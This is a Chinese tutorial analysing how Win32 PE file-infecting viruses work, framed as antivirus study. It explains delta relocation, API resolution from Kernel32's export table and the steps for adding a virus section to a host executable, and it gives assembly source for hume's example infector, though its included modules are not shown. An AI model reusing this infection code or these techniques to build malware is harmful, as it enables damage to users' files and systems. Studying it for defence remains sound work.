Win32 PE病毒原理分析

by guojpeng/CVC.GB

在绝大多数病毒爱好者眼中,真正的病毒技术在Win32 PE病毒中才会得到真正的体现(令病毒极度疯狂的DOS时代已经过去)。并且要掌握病毒技术的精髓,学会Win32汇编是非常必要的。本节所涉及到的源代码全部采用Win32汇编语言编写。

Win32病毒同时也是所有病毒中数量极多,破坏性极大,技巧性最强的一类病毒。譬如FunLove、中国黑客等病毒都是属于这个范畴。

 

一、Win32 PE病毒原理... 1

1.病毒的重定位... 1

2.获取API函数地址... 2

3.文件搜索... 5

4.内存映射文件... 7

5.病毒如何感染其他文件... 9

6.病毒如何返回到Host程序... 13

二、一个感染的例子分析... 13

 

 

一、Win32 PE病毒原理
为了更好地发展反病毒技术,了解病毒的原理是极为必要的。一个Win32 PE病毒基本上需要具有以下几个功能,或者说需要解决如下几个问题:

1.病毒的重定位
(1)病毒为什么需要重定位

都说病毒第一步要重定位,那到底为什么要重定位呢?我们写正常程序的时候根本不用去关心变量(常量)的位置,因为源程序在编译的时候它的内存中的位置都被计算好了。程序装入内存时,系统不会为它重定位。编程时我们需要用到变量(常量)的时候直接用变量名访问(编译后就是通过偏移地址访问)就行了。

病毒不可避免也要用到变量(常量),当病毒感染HOST程序后,由于其依附到HOST程序中的位置各有不同,病毒随着HOST载入内存后,病毒中的各个变量(常量)在内存中的位置自然也会随着发生变化。

 

a)病毒在感染前的Var位置 b)病毒感染HOST后Var的位置

图1 病毒的重定位

如图1所示,病毒在编译后,变量Var的地址(004010xxh)就已经以二进制代码的形式固定了,当病毒感染HOST程序以后(即病毒相关代码直接依附到HOST程序中),由于病毒体对变量Var的引用还是对内存地址004010xxh的引用(病毒的这段二进制代码并不会发生改变),而004010xxh地址实际上已经不是存放变量Var了(图5.1例子中的该位置是在HOST程序中)。这样,病毒对变量的引用不再准确,势必导致病毒无法正常运行。

既然如此,病毒就非常有必要对所有病毒代码中的变量进行重新定位。

(2)病毒如何重定位

在讲解重定位方法之前,我们有必要复习一下call指令。

call指令一般用来调用一个子程序或用来进行转跳,当这个语句执行的时候,它会先将返回地址(即紧接着call语句之后的那条语句在内存中的真正地址)压入堆栈,然后将IP置为call语句所指向的地址。当子程序碰到ret命令后,就会将堆栈顶端的地址弹出来,并将该地址存放在IP中,这样,主程序就得以继续执行。

假如病毒程序中有如下几行代码:

call delta ;这条语句执行之后,堆栈顶端为delta在内存中的真正地址

delta: pop ebp ;这条语句将delta在内存中的真正地址存放在ebp寄存器中

……

lea eax,[ebp+(offset var1-offset delta)]

;这时eax中存放着var1在内存中的真实地址

当pop语句执行完之后,ebp中放的是什么值呢?很明显是病毒程序中标号delta处在内存中的真正地址。如果病毒程序中有一个变量var1,那么该变量实际在内存中的地址应该是ebp+(offset var1-offset delta),即参考量delta在内存中的地址+其它变量与参考量之间的距离=其它变量在内存中的真正地址。有时候我们也采用(ebp-offset delta)+offset var1的形式进行变量var1的重定位。当然还有其它重定位的方法,但是它们的原理基本上都是一样的。这里不在叙述。

 

2.获取API函数地址
(1)为什么要获取API函数地址

Win32 PE病毒和普通Win32 PE程序一样需要调用API函数,但是普通的Win32 PE程序里面有一个引入函数表,该函数表对应了代码段中所用到的api函数在动态连接库中的真实地址。这样,调用api函数时就可以通过该引入函数表找到相应api函数的真正执行地址。

但是,对于Win32 PE病毒来说,他只有一个代码段,他并不存在引入函数段。既然如此,病毒就无法象普通PE程序那样直接调用相关API函数,而应该先找出这些API函数在相应动态链接库中的地址。

(2)如何获取API函数地址

如何获取API函数地址一直是病毒技术的一个非常重要的话题。要获得API函数地址,我们首先需要获得Kernel32的基地址。

下面介绍几种获得Kernel32基地址的方法:

a) 利用程序的返回地址,在其附近搜索Kernel32模块基地址

我们知道,当系统打开一个可执行文件的时候,它会调用Kernel32.dll中的CreateProcess函数;CreateProcess函数在完成装载应用程序后,会先将一个返回地址压入到堆栈顶端,然后转向执行刚才装载的应用程序。当该应用程序结束后,会将堆栈顶端数据弹出放到IP中,继续执行。刚才堆栈顶端保存的数据是什么呢?仔细想想,我们不难明白,这个数据其实就是在Kernal32.dll中的返回地址。其实这个过程跟同我们的应用程序用call指令调用子程序类似。

可以看出,这个返回地址是在Kernal32.dll模块中。另外PE文件被装入内存时是按内存页对齐的,只要我们从返回地址按照页对齐的边界一页一页地往低地址搜索,就必然可以找到Kernel32.dll的文件头地址,即Kernel32模块的基地址。

其搜索代码如下所示:

mov ecx,[esp] ;将堆栈顶端的数据(既程序返回Kernel32的地址)赋给ecx

xor edx,edx

getK32Base:

dec ecx ;逐字节比较验证,也可以一页一页地搜

mov dx,word ptr [ecx+IMAGE_DOS_HEADER.e_lfanew] ;就是ecx+3ch

test dx,0f000h ;Dos Header+stub不可能太大,超过4096byte

jnz getK32Base ;加速检验

cmp ecx,dword ptr [ecx+edx+IMAGE_NT_HEADERS.OptionalHeader.ImageBase]

jnz getK32Base

;看Image_Base值是否等于ecx即模块起始值

mov [ebp+offset k32Base],ecx ;如果是,就认为找到kernel32的Base值

……

 

另外也可以采用一下方法:

GetKBase:

mov edi ,[esp+04h]

;这里的Esp+04h是不定的,主要看从程序第一条指令执行到这里有多少Push

;操作,如果设为N个Push,则这里的指令就是Mov edi,[esp+N*4h]

and edi,0FFFF0000h

.while TRUE

.if WORD ptr [edi] == IMAGE_DOS_SIGNATURE ;判断是否是MZ

mov esi,edi

add esi,DWORD ptr [esi+03Ch] ;esi指向PE标志

.if DWORD ptr [esi] ==IMAGE_NT_SIGNATURE;是否有PE标志

.break;如果有跳出循环

.endif

.endif

 

sub edi, 010000h ;分配粒度是10000h,dll必然加载在xxxx0000h处

.if edi < MIN_KERNEL_SEARCH_BASE

; MIN_KERNEL_SEARCH_BASE等于70000000H

mov edi, 0bff70000h

;如果上面没有找到,则使用Win9x的KERNEL地址

.break

.endif

.endw

mov hKernel32,edi;把找到的KERNEL32.DLL的基地址保存起来

 

b)对相应操作系统分别给出固定的Kernel32模块的基地址

对于不同的windows操作系统来说,Kernel32模块的地址是固定的,甚至一些API函数的大概位置都是固定的。譬如,Windows 98为BFF70000,Windows 2000为77E80000,Windows XP为77E60000。

在得到了Kernel32的模块地址以后,我们就可以在该模块中搜索我们所需要的API地址。对于给定的API,搜索其地址可以直接通过Kernel32.dll的引出表信息搜索,同样我们也可以先搜索出GetProcAddress和LoadLibrary两个API函数的地址,然后利用这两个API函数得到我们所需要的API函数地址。

在具体介绍如何搜索Api地址之前,我们有必要参照一下引出表的结构(如表1):

表1 PE引出表的结构

顺序
偏移
名字
大小(字节)
描述

1
(00H)
Characteristics
4
一般为0

2
(04H)
TimeDateStamp
4
文件生成时间

3
(08H)
MajorVersion
2
主版本号

4
(0AH)
MinorVersion
2
次版本号

5
(0CH)
Name
4
指向DLL的名字

6
(10H)
Base
4
开始的序列号

7
(14H)
NumberOfFunctions
4
AddressOfFunctions数组的项数

8
(18H)
NumberOfNames
4
AddressOfNames数组的项数

9
(1CH)
AddressOfFunctions
4
指向函数地址数组

10
(20H)
AddressOfNames
4
函数名字的指针的地址

11
(24H)
AddressOfNameOrdinals
4
指向输入序列号数组

 

关于各个关键项的具体含义我们在前面PE文件格式一节中详细描述过,我们对该表做几点说明。

AddressOfFunctions指向一个数组,数组的每个成员指向一个API函数的地址。既然如此,我们要获得一个API函数的地址,就必须找到该API函数在这个数组中的具体位置,也就是一个索引号。如何获取该索引号呢?

在所有的API函数中,有些API函数是没有函数名的,它们只有一个导出序号。所以搜索这类API函数的时候,我们事先肯定就得到了这个序号,否则我们无法进行搜索,而这个序号减去Base(函数数组中的一个函数的序列号)就正是我们真正需要的索引号。但是绝大多数API函数是有函数名的,对于只提供了API函数名的函数,我们就要先搜索其在函数地址数组的索引号,如何通过函数名搜索该索引号呢?

AddressOfNames 和AddressOfNameOrdinals指向两个数组,一个是函数名字数组,一个是函数名字所对应的索引号的数组。这两个数组是一一对应的,也就是说,如果第一个数组中的第m项是我们查找的函数的名字,那么第二个数组中的第m项就是该函数的索引号。这样,我们通过在第一个数组中查找我们需要查找函数的函数名,如果查到,便记住该项在该数组中的位置,然后再到第二个数组中相同的位置就可以取出该函数在函数地址数组中的索引号了。

解决了以上问题之后,我们就知道如何从引出表结构查找我们需要函数的地址了。那我们怎样获取引出表结构的地址呢?很简单,PE文件头中的可选文件头中有一个数据目录表,该目录表的第一个数据目录中就放导出表结构的地址。

下面给出已知API函数序列号或仅知函数名搜索API函数地址的过程:

a) 已知函数的导出序号

(1)定位到PE文件头。

(2)从PE文件头中的可选文件头中取出数据目录表的第一个数据目录,得到导出表的地址。

(3)从导出表的Base字段取得起始序号。

(4)将需要查找的导出序号减去起始序号,得到函数在入口地址表中的索引。

(5)检查索引值是否大于等于导出表中的函数个数。如果大于的话,说明输入的序号无效。

(6)用该索引值在AddressOfFunctions字段指向的导出函数入口地址表中取出相应的项目,这就是函数的入口地址RVA值,当函数被装入内存后,这个RVA值加上模块实际装入的基址(ImageBase),就得到了函数真正的入口地址。

b)从函数名称查找入口地址

(1)定位到PE文件头。

(2)从PE文件头中的可选文件头中取出数据目录表的第一个数据目录,得到导出表的地址。

(3)从导出表的NumberOfNames字段得到以命名函数的总数,并以这个数字做微循环的次数来构造一个循环。

(4)从AddressOfNames字段指向的函数名称地址表的第一项开始,在循环中将每一项定义的函数名与要查找的函数名比较,如果没有任何一个函数名符合,说明文件中没有指定名称的函数。

(5)如果某一项定义的函数名与要查找的函数名符合,那么记住这个函数名在字符串地址表中的索引值(如x),然后在AddressOfNameOrdinals指向的数组中以同样的索引值x去找数组项中的值,假如该值为m。

(6)以m值作为索引值,在AddressOfFunctions字段指向的函数入口地址表中获取的RVA就是函数的入口地址,当函数被装入内存后,这个RVA值加上模块实际装入的基址(ImageBase),就得到了函数真正的入口地址。

对于病毒来说,通常是通过API函数名称来查找API函数地址。

具体的例子会在后面提到。

 

3.文件搜索
搜索文件是病毒寻找目标文件的非常重要的功能。在Win32汇编中,通常采用两个API函数进行文件搜索。

(1)几个关键的API函数

a)FindFirstFile

该函数根据文件名查找文件,具体参数说明如下:

参数
类型及说明

LpFileName
String,欲搜索的文件名。可包含通配符,并可包含一个绝对路径或相对路径名。

LpFindFileData
WIN32_FIND_DATA,这个结构用于装载与找到的文件有关的信息。该结构可用于后续的搜索。

返回值:Long,如执行成功,返回一个搜索句柄。如果出错,返回一个INVALID_HANDLE_VALUE常数,一旦不再需要,应该用FindClose函数关闭这个句柄。

 

b) FindNextFile

该函数根据调用FindFirstFile函数时指定的一个文件名查找下一个文件,具体参数说明如下:

参数
类型及说明

HfindFile
Long,由FindFirstFile函数返回的搜索句柄

LpFindFileData
WIN32_FIND_DATA,这个结构用于装载与找到的文件有关的信息

返回值:Long,非零表示成功,零表示失败。如不再有与指定条件相符的文件,会将GetLastError设置成ERROR_NO_MORE_FILES。

 

c) FindClose

该函数用来关闭由FindFirstFile函数创建的一个搜索句柄,具体参数如下所示:

参数
类型及说明

HfindFile
Long,由FindFirstFile函数提供的搜索句柄

返回值:Long,非零表示成功,零表示失败。会设置GetLastError。

 

(2)WIN32_FIND_DATA结构

该结构中存放着找到文件的详细信息,具体结构如下所示:

WIN32_FIND_DATA STRUCT

dwFileAttributes DWORD ? //文件属性,

//如果改值为FILE_ATTRIBUTE_DIRECTORY,则说明是目录

ftCreationTime FILETIME <> //文件创建时间

ftLastAccessTime FILETIME <> //文件或目录的访问时间

ftLastWriteTime FILETIME <> //文件最后一次修改时间,对于目录是创建时间

nFileSizeHigh DWORD ? //文件大小的高位

nFileSizeLow DWORD ? //文件大小的地位

dwReserved0 DWORD ? //保留

dwReserved1 DWORD ? //保留

cFileName BYTE MAX_PATH dup(?) //文件名字符串,以0结尾

cAlternate BYTE 14 dup(?) //8.3格式的文件名

WIN32_FIND_DATA ENDS

由上面结构可知,通过第一个字段,我们可以判断该找到的文件是目录还是文件,通过cFileName我们可以获得该文件的文件名,继而可以对找到的文件进行操作。

a) 文件搜索算法

文件搜索一般采用递归算法进行搜索,也可以采用非递归搜索方法,这里我们仅介绍第一种算法:

FindFile Proc

a) 指定找到的目录为当前工作目录

b) 开始搜索文件(*.*)

c) 该目录搜索完毕?是则返回,否则继续

d) 找到文件还是目录?是目录则调用自身函数FindFile,否则继续

e) 是文件,如符合感染条件,则调用感染模块,否则继续

f) 搜索下一个文件(FindNextFile),转到C继续

FindFile Endp

4.内存映射文件
内存映射文件提供了一组独立的函数,是应用程序能够通过内存指针像访问内存一样对磁盘上的文件进行访问。这组内存映射文件函数将磁盘上的文件的全部或者部分映射到进程虚拟地址空间的某个位置,以后对文件内容的访问就如同在该地址区域内直接对内存访问一样简单。这样,对文件中数据的操作便是直接对内存进行操作,大大地提高了访问的速度,这对于计算机病毒来说,对减少资源占有是非常重要的。

(1)使用内存映射文件读写文件

在计算机病毒中,通常采用如下几个步骤:

a) 调用CreateFile函数打开想要映射的HOST程序,返回文件句柄hFile。

b) 调用CreateFileMapping函数生成一个建立基于HOST文件句柄hFile的内存映射对象,返回内存映射对象句柄hMap。

c) 调用MapViewOfFile函数将整个文件(一般还要加上病毒体的大小)映射到内存中。得到指向映射到内存的第一个字节的指针(pMem)。

d) 用刚才得到的指针pMem对整个HOST文件进行操作,对HOST程序进行病毒感染。

e) 调用UnmapViewFile函数解除文件映射,传入参数是pMem。

f) 调用CloseHandle来关闭内存映射文件,传入参数是hMap。

g) 调用CloseHandle来关闭HOST文件,传入参数是hFile。

在后面的例子中,将会有具体的代码说明。

 

(2)几个内存映射函数介绍

a)CreateFileMapping

该函数用来创建一个新的文件映射对象,具体参数说明如下:

参数
类型及说明

Hfile
Long,指定欲在其中创建映射的一个文件句柄。&HFFFFFFFF&表示在内存中创建一个文件映射

lpFileMappigAttributes
SECURITY_ATTRIBUTES,指定一个安全对象,在创建文件映射时使用。如果为NULL(用ByVal As Long传递零),表示使用默认安全对象

FlProtect
Long,下述常数之一:

PAGE_READONLY
以只读方式打开映射

PAGE_READWRITE
以可读、可写方式打开映射

PAGE_WRITECOPY
为写操作留下备份

可组合使用下述一个或多个常数

SEC_COMMIT
为文件映射一个小节中的所有页分配内存

SEC_IMAGE
文件是个可执行文件

SEC_RESERVE
为没有分配实际内存的一个小节保留虚拟内存空间

dwMaximumSizeHigh
Long,文件映射的最大长度(高32位)

DwMaximumSizeLow
Long,文件映射的最小长度(低32位)。这个参数和dwMaximumSizeHigh如果都是零,就用磁盘文件的实际长度

lpName
String,指定文件映射对象的名字。如存在这个名字的一个映射,函数就会打开它。用vbNullString创建一个无名的文件映射

返回值:Long,新建文件映射对象的句柄;零意味着出错。会设置GetLastError。即使函数成功,但倘若返回的句柄属于一个现成的文件映射对象,那么GetLastError也会设置成ERROR_ALREADY_EXISTS。在这种情况下,文件映射的长度就是现有对象的长度,而不是这个函数指定的尺寸。

 

b)MapViewOfFile

该函数将一个文件映射对象映射到当前应用程序的地址空间,具体参数说明如下:

参数
类型及说明

hFileMappingObject
Long,文件映射对象的句柄

DwDesiredAccess
Long,下述常数之一:

FILE_MAP_WRITE
映射可读可写。文件映射对象必须通过PAGE_READWRITE访问创建

FILE_MAP_READ
映射只读。文件映射对象必须通过PAGE_READ 或 PAGE_READWRITE访问创建

FILE_MAP_ALL_ACCESS
与FILE_MAP_WRITE相同

FILE_MAP_COPY
映射时保留写操作的副本。文件映射对象必须用PAGE_WRITECOPY访问在win95下创建

DwFileOffsetHigh
Long,文件中映射起点的高32位地址

DwFileOffsetLow
Long,文件中映射起点的低32位地址

dwNumberOfBytesToMap
Long,文件中要映射的字节数。用零映射整个文件映射对象

LpBaseAddress
Long,指定映射文件映射对象的地址。如这个地址处没有足够的内存空间,那么对MapViewOfFileEx的调用会失效。零表示允许windows寻找一个地址

返回值:Long,文件映射在内存中的起始地址。零表示出错。会设置GetLastError。

 

c)UnMapViewOfFile

该函数在当前应用程序的内存地址空间解除对一个文件映射对象的映射,具体参数说明如下:

参数
类型及说明

LpBaseAddress
Long,指定要解除映射的一个文件映射的基准地址。这个地址是早先用MapViewOfFile函数获得的

返回值:Long,非零表示成功,零表示失败。会设置GetLastError。

 

d) CloseHandle

该函数用来关闭一个内核对象,其中包括文件、文件映射、进程、线程、安全和同步对象等。具体参数说明如下:

参数
类型及说明

Hobject
Long,欲关闭的一个对象的句柄

返回值:Long,非零表示成功,零表示失败。会设置GetLastError。

 

5.病毒如何感染其他文件
PE病毒常见的感染其他文件的方法是在文件中添加一个新节,然后往该新节中添加病毒代码和病毒执行后的返回Host程序的代码,并修改文件头中代码开始执行位置(AddressOfEntryPoint)指向新添加的病毒节的代码入口,以便程序运行后先执行病毒代码。下面我们具体分析一下感染文件步骤(这种方法将会在后面的例子中有具体代码介绍)。

(1)感染文件的基本步骤:

1.判断目标文件开始的两个字节是否为“MZ”。

2.判断PE文件标记“PE”。

3.判断感染标记,如果已被感染过则跳出继续执行HOST程序,否则继续。

4.获得Directory(数据目录)的个数,(每个数据目录信息占8个字节)。

5.得到节表起始位置。(Directory的偏移地址+数据目录占用的字节数=节表起始位置)

6.得到目前最后节表的末尾偏移(紧接其后用于写入一个新的病毒节)

节表起始位置+节的个数*(每个节表占用的字节数28H)=目前最后节表的末尾偏移。

7.开始写入节表

a) 写入节名(8字节)。

b) 写入节的实际字节数(4字节)。

c) 写入新节在内存中的开始偏移地址(4字节),同时可以计算出病毒入口位置

上节在内存中的开始偏移地址+(上节大小/节对齐+1)×节对齐=本节在内存中的开始偏移地址。

d) 写入本节(即病毒节)在文件中对齐后的大小。

e) 写入本节在文件中的开始位置。

上节在文件中的开始位置+上节对齐后的大小=本节(即病毒)在文件中的开始位置。

f) 修改映像文件头中的节表数目。

g) 修改AddressOfEntryPoint(即程序入口点指向病毒入口位置),同时保存旧的AddressOfEntryPoint,以便返回HOST继续执行。

h) 更新SizeOfImage(内存中整个PE映像尺寸=原SizeOfImage+病毒节经过内存节对齐后的大小)。

i) 写入感染标记(后面例子中是放在PE头中)。

j) 写入病毒代码到新添加的节中。

ECX =病毒长度

ESI =病毒代码位置(并不一定等于病毒执行代码开始位置)

EDI=病毒节写入位置(后面例子是在内存映射文件中的相应位置)

k) 将当前文件位置设为文件末尾。

PE病毒感染其他文件的方法还有很多,譬如PE病毒还可以将自己分散插入到每个节的空隙中等等,这里不在一一叙述。

 

(2)文件操作相关API函数

a)CreateFile

该函数可打开和创建文件、管道、邮槽、通信服务、设备以及控制台,具体参数说明如下:

参数
类型及说明

LpFileName
String,要打开的文件的名字

dwDesiredAccess
Long,如果为 GENERIC_READ 表示允许对设备进行读访问;如果为 GENERIC_WRITE 表示允许对设备进行写访问(可组合使用);如果为零,表示只允许获取与一个设备有关的信息

DwShareMode
Long,零表示不共享; FILE_SHARE_READ 和/或 FILE_SHARE_WRITE 表示允许对文件进行共享访问

LpSecurityAttributes
SECURITY_ATTRIBUTES,指向一个SECURITY_ATTRIBUTES结构的指针,定义了文件的安全特性(如果操作系统支持的话)

dwCreationDisposition
Long,下述常数之一:

CREATE_NEW
创建文件;如文件存在则会出错

CREATE_ALWAYS
创建文件,会改写前一个文件

OPEN_EXISTING
文件必须已经存在。由设备提出要求

OPEN_ALWAYS
如文件不存在则创建它

TRUNCATE_EXISTING
讲现有文件缩短为零长度

dwFlagsAndAttributes
Long,一个或多个下述常数

FILE_ATTRIBUTE_ARCHIVE
标记归档属性

FILE_ATTRIBUTE_COMPRESSED
将文件标记为已压缩,或者标记为文件在目录中的默认压缩方式

FILE_ATTRIBUTE_NORMAL
默认属性

FILE_ATTRIBUTE_HIDDEN
隐藏文件或目录

FILE_ATTRIBUTE_READONLY
文件为只读

FILE_ATTRIBUTE_SYSTEM
文件为系统文件

FILE_FLAG_WRITE_THROUGH
操作系统不得推迟对文件的写操作

FILE_FLAG_OVERLAPPED
允许对文件进行重叠操作

FILE_FLAG_NO_BUFFERING
禁止对文件进行缓冲处理。文件只能写入磁盘卷的扇区块

FILE_FLAG_RANDOM_ACCESS
针对随机访问对文件缓冲进行优化

FILE_FLAG_SEQUENTIAL_SCAN
针对连续访问对文件缓冲进行优化

FILE_FLAG_DELETE_ON_CLOSE
关闭了上一次打开的句柄后,将文件删除。特别适合临时文件

也可在Windows NT下组合使用下述常数标记:

SECURITY_ANONYMOUS,SECURITY_IDENTIFICATION, SECURITY_IMPERSON

ATION,SECURITY_DELEGATION, SECURITY_CONTEXT_TRACKING, SECURIT

Y_EFFECTIVE_ONLY

HtemplateFile
Long,如果不为零,则指定一个文件句柄。新文件将从这个文件中复制扩展属性。

返回值:Long,如执行成功,则返回文件句柄。INVALID_HANDLE_VALUE表示出错,会设置GetLastError。即使函数成功,但若文件存在,且指定了CREATE_ALWAYS 或 OPEN_ALWAYS,GetLastError也会设为ERROR_ALREADY_EXISTS。

b)CloseHandle

该函数在前面学习内存映射文件时已经介绍。

 

c)SetFilePointer

该函数在一个文件中设置当前的读写位置,具体参数说明如下:

参数
类型及说明

Hfile
Long,系统文件句柄

LDistanceToMove
Long,字节偏移量

lpDistanceToMoveHigh
Long,指定一个长整数变量,其中包含了要使用的一个高双字偏移。可设为零(将声明变为ByVal),表示只使用lDistanceToMove

原文:A long variable containing a high double word offset to use. May be zero (change declaration to ByVal) to use only lDistanceToMove.

DwMoveMethod
Long,下述常数之一

FILE_BEGIN
lOffset将新位置设为从文件起始处开始算的起的一个偏移

FILE_CURRENT
lOffset将新位置设为从当前位置开始计算的一个偏移

FILE_END
lOffset将新位置设为从文件尾开始计算的一个偏移

返回值:Long,返回一个新位置,它采用从文件起始处开始算起的一个字节偏移量。HFILE_ERROR意味着出错,会设置GetLastError。

 

d)ReadFile

该函数用来从文件中读取数据,具体参数说明如下:

参数
类型及说明

HFile
Long,文件的句柄

LpBuffer
Any,用于保存读入数据的一个缓冲区

nNumberOfBytesToRead
Long,要读入的字符数

lpNumberOfBytesRead
Long,从文件中实际读入的字符数

lpOverlapped
OVERLAPPED,如文件打开时指定了FILE_FLAG_OVERLAPPED,那么必须用这个参数引用一个特殊的结构。该结构定义了一次异步读取操作。否则,应将这个参数设为NULL(将函数声明成ByVal As Long,并传递零值)

返回值:Long,非零表示成功,零表示失败,会设置GetLastError。如启动的是一次异步读操作,则函数会返回零值,并将ERROR_IO_PENDING设置成GetLastError的结果。如果结果不是零值,但读入的字节数小于nNumberOfBytesToRead参数指定的值,表明早已到达了文件的结尾。

 

e) WriteFile

该函数用来将数据写入文件,具体参数说明如下:

参数
类型及说明

Hfile
Long,一个文件的句柄

LpBuffer
Any,要写入的一个数据缓冲区

NnumberOfBytesToWrite
Long,要写入数据的字节数量。如写入零字节,表示什么都不写入,但会更新文件的“上一次修改时间”。针对位于远程系统的命名管道,限制在65535个字节以内

LpNumberOfBytesWritten
Long,实际写入文件的字节数量

LpOverlapped
OVERLAPPED,倘若在指定FILE_FLAG_OVERLAPPED的前提下打开文件,这个参数就必须引用一个特殊的结构。该结构定义了一次异步写操作。否则,该参数应置为空(将声明变为ByVal As Long,并传递零值)

返回值:Long,TRUE(非零)表示成功,否则返回零,会设置GetLastError。

 

f) SetEndOfFile

该函数针对一个打开的文件,将当前文件位置设为文件末尾,具体参数说明如下:

参数
类型及说明

Hfile
Long,指定一个文件句柄。文件的当前位置设为文件尾,文件会根据需要缩短

返回值:Long,非零表示成功,零表示失败,会设置GetLastError。

 

g)GetFileSize

参数
类型及说明

Hfile
Long,文件的句柄

LpFileSizeHigh
Long,指定一个长整数,用于装载一个64位文件长度的头32位。如这个长度没有超过2^32字节,则该参数可以设为NULL(变成ByVal)

返回值:Long,返回文件长度。0xFFFFFFFF表示出错。注意如lpFileSizeHigh不为NULL,且结果为0xFFFFFFFF,那么必须调用GetLastError,判断是否实际发生了一个错误,因为这是一个有效的结果。

 

h)FlushFileBuffers

该函数针对指定的文件句柄,刷新内部文件缓冲区,具体参数说明如下:

参数
类型及说明

Hfile
Long,文件句柄

返回值:Long,非零表示成功,零表示失败,会设置GetLastError。

 

6.病毒如何返回到Host程序
为了提高自己的生存能力,病毒是不应该破坏HOST程序的,既然如此,病毒应该在病毒执行完毕后,立刻将控制权交给HOST程序?病毒如何做到这一点呢?

返回HOST程序相对来说比较简单,病毒在修改被感染文件代码开始执行位置(AddressOfEntryPoint)时,会保存原来的值,这样,病毒在执行完病毒代码之后用一个跳转语句跳到这段代码处继续执行即可。

注意,在这里,病毒先会作出一个“现在执行程序是否为病毒启动程序”的判断,如果不是启动程序,病毒才会返回HOST程序,否则继续执行程序其它部分。对于启动程序来说,他是没有病毒标志的,譬如后面的例子中启动程序的PE头中相对位置并没有dark字符串。

另外,还有一个问题需要搞清楚,写入到被感染程序中OldEIP和目前运行的HOST程序的OldEIP是否使用了同一个变量?它们之间有什么关系吗?这个问题留给大家思考。

二、一个感染的例子分析
下面我们引用hume的经典例子作个分析。

为了便于大家理解,这个例子分解为4个文件,每个部分具有一个主要功能。

其中main.asm为主文件,其内容如下:

.586

.model flat, stdcall

option casemap :none ; case sensitive

include /masm32/include/windows.inc

include /masm32/include/comctl32.inc

includelib /masm32/lib/comctl32.lib

 

GetApiA proto :DWORD,:DWORD

.CODE

;---------------程序入口--------------------------

_Start0:

invoke InitCommonControls ;此处在win2000下必须加入

jmp _Start

VirusLen = vEnd-vBegin ;Virus 长度

;-->>>>病毒代码开始位置,从这里到v_End的部分会附加在HOST程序中<<<<<--

vBegin: ;真正的病毒部分从这里开始

;-----------------------------------------

include s_api.asm ;查找需要的api地址

;-------------------以下为数据定义----------------------

desfile db "test.exe",0

fsize dd ?

hFile dd ?

hMap dd ?

pMem dd ?

;-----------------------------------------

pe_Header dd ?

sec_align dd ?

file_align dd ?

newEip dd ?

oldEip dd ?

inc_size dd ?

oldEnd dd ?

;------------定义MessageBoxA函数名称及函数地址存放位置----------------

sMessageBoxA db "MessageBoxA",0

aMessageBoxA dd 0

;作者定义的提示信息...

sztit db "By Hume,2002",0

szMsg0 db "Hey,Hope U enjoy it!",0

CopyRight db "The SoftWare WAS OFFERRED by Hume[AfO]",0dh,0ah

db " Thx for using it!",0dh,0ah

db "Contact: Humewen@21cn.com",0dh,0ah

db " humeasm.yeah.net",0dh,0ah

db "The add Code SiZe:(heX)"

val dd 0,0,0,0

;;------------à>病毒真正入口位置<<---------------------------

_Start:

call _delta

_delta:

pop ebp ;得到delta地址

sub ebp,offset _delta ;以便于后面变量重定位

mov dword ptr [ebp+appBase],ebp

mov eax,[esp] ;返回地址

xor edx,edx

getK32Base:

dec eax ;逐字节比较验证,速度比较慢,不过功能一样

mov dx,word ptr [eax+IMAGE_DOS_HEADER.e_lfanew] ;就是ecx+3ch

test dx,0f000h ;Dos Header+stub不可能太大,超过4096byte

jnz getK32Base ;加速检验,下一个

cmp eax,dword ptr [eax+edx+IMAGE_NT_HEADERS.OptionalHeader.ImageBase]

jnz getK32Base ;看Image_Base值是否等于ecx即模块起始值

mov [ebp+k32Base],eax ;如果是,就认为找到kernel32的模块装入地址

lea edi,[ebp+aGetModuleHandle] ;edi指向API函数地址存放位置

lea esi,[ebp+lpApiAddrs] ;esi指向API函数名字串偏移地址(此地址需重定位)

lop_get:

lodsd

cmp eax,0

jz End_Get

add eax,ebp

push eax ;此时eax中放着GetModuleHandleA函数名字串的偏移位置

push dword ptr [ebp+k32Base]

call GetApiA

stosd

jmp lop_get ;获得api地址,参见s_api文件

End_Get:

call my_infect ;获得各API函数地址后,开始调用感染模块

include dislen.asm ;该文件中代码用来显示病毒文件的长度

CouldNotInfect:

_where:

xor eax,eax ;判断是否是已经附加感染标志 'dark'

push eax

call [ebp+aGetModuleHandle];获得本启动(或HOST)程序的加载模块

mov esi,eax

add esi,[esi+3ch] ;->esi->程序本身的Pe_header

cmp dword ptr [esi+8],'dark';判断是已经正在运行的HOST程序,还是启动程序?

je jmp_oep ;是HOST程序,控制权交给HOST

jmp _xit ;调用启动程序的退出部分语句

jmp_oep:

add eax,[ebp+oldEip]

jmp eax ;跳到宿主程序的入口点

 

my_infect: ;感染部分,文件读写操作,Pe文件修改参见modipe.asm文件

xor eax,eax

push eax

push eax

push OPEN_EXISTING

push eax

push eax

push GENERIC_READ+GENERIC_WRITE

lea eax,[ebp+desfile] ;目标文件文件名字串偏移地址

push eax

call [ebp+aCreateFile] ;打开目标文件

inc eax ;如返回-1,则表示失败

je _Err

dec eax

mov [ebp+hFile],eax ;返回文件句柄

 

push eax

sub ebx,ebx

push ebx

push eax ;得到文件大小

call [ebp+aGetFileSize]

inc eax ;如返回-1,则表示失败

je _sclosefile

dec eax

mov [ebp+fsize],eax

xchg eax,ecx

add ecx,1000h ;文件大小增加4096bytes

pop eax

xor ebx,ebx ;创建映射文件

push ebx ;创建没有名字的文件映射

push ecx ;文件大小等于原大小+Vsize

push ebx

push PAGE_READWRITE

push ebx

push eax

call [ebp+aCreateFileMapping]

test eax,eax ;如返回0则说明出错

je _sclosefile ;创建成功否?不成功,则跳转

mov [ebp+hMap],eax ;保存映射对象句柄

xor ebx,ebx

push ebx

push ebx

push ebx

push FILE_MAP_WRITE

push eax

call [ebp+aMapViewOfFile]

test eax,eax ; 映射文件,是否成功?

je _sclosemap ;返回0说明函数调用失败

mov [ebp+pMem],eax ;保存内存映射文件首地址

;--------------------------------------------

; 下面是给HOST添加新节的代码

;--------------------------------------------

include modipe.asm ;该文件中主要为感染目标文件的代码

_sunview:

push [ebp+pMem]

call [ebp+aUnmapViewOfFile]

;解除映射,同时修改过的映射文件全部写回目标文件

_sclosemap:

push [ebp+hMap]

call [ebp+aCloseHandle] ;关闭映射

_sclosefile:

push [ebp+hFile]

call [ebp+aCloseHandle] ;关闭打开的目标文件

_Err:

ret

;-----------------------------------------

_xit:

push 0

call [ebp+aExitProcess] ;退出启动程序

vEnd: ;考虑一下:病毒末尾位置是否可以提前?

end _Start0

 

